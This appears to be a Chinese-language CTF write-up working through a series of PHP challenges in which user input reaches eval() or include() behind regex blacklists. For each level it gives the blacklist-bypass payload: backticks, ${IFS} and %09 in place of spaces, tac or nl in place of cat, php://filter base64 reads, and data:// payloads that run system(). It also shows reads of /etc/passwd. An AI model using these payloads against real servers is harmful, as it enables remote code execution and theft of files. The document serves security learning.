学习参考的
https://www.cnblogs.com/NPFS/p/13279815.html
说的很全面
命令执行,需要严格的过滤
源码
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
preg_match 函数用于执行一个正则表达式匹配。
这次的判断是不能出现 flag 字样,后面 i 意思不分辨大小写
通配符*:
匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
/?c=system('cat f*');
查看源代码

源码
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
只有system函数是有回显的,其他的函数可以通过echo等显示
这里采用反引号绕过
/?c=echo `cat f*`;
`命令`和$(命令)都是执行命令的方式
反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。

- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
过滤了flag,system,php,cat,sort,shell,空格,单引号,.
空格绕过
- > < <> 重定向符
- %09(需要php环境)
- ${IFS}
- $IFS$9
- {cat,flag.php} //用逗号实现了空格功能
- %20
- %09
cat被过滤
- more:一页一页的显示档案内容
- less:与 more 类似
- head:查看头几行
- tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
- tail:查看尾几行
- nl:显示的时候,顺便输出行号
- od:以二进制的方式读取档案内容
- vi:一种编辑器,这个也可以查看
- vim:一种编辑器,这个也可以查看
- sort:可以查看
- uniq:可以查看
- file -f:报错出具体内容
payload:
?c=echo(`tac%09f*`);

- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,
php中有许多不用括号的函数
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
用c=include"$_POST[x]"?>或者c=include"$_GET[x]"?>,这里用require也是可以的
总的来说感觉两个函数大差不差
- require 一般放在 PHP 文件的最前面,程序在执行前就会先导入要引用的文件;
- include 一般放在程序的流程控制中,当程序执行时碰到才会引用,简化程序的执行流程。
-
- require 引入的文件有错误时,执行会中断,并返回一个致命错误;
- include 引入的文件有错误时,会继续执行,并返回一个警告。
用php伪协议将include包含的文件在页面上显示出来
.convert.base64-encode //base64编码
瑞士军刀

- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
跟上面一道题差不多
但是因为这题多过滤了双引号,所以只能用数组形式绕过,把双引号去了
/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php


这题比上面一题多过滤了分号,但是貌似无影响
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
跟上一题payload一样
/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

相比上面多过滤了>,但是也没用
payload
/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
问什么要进行 base64 编码呢?
如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了
多过滤了数字
/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag/i", $c)){
- include($c);
- echo $flag;
-
- }
-
- }else{
- highlight_file(__FILE__);
- }
include文件包含
使用data伪协议
把进行base64编码

/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

- //flag in flag.php
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|php|file/i", $c)){
- include($c);
- echo $flag;
-
- }
-
- }else{
- highlight_file(__FILE__);
- }
相比37多过滤了php和file
payload跟37一样
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

- //flag in flag.php
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag/i", $c)){
- include($c.".php");
- }
-
- }else{
- highlight_file(__FILE__);
- }
include($c.".php"); //使用 include 函数将变量 $c 的值与 ".php" 拼接,然后作为文件路径包含(引入)对应的 PHP 文件
.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
/?c=data://text/plain,<?php system('cat f*')?>
这样就相当于执行了php语句.php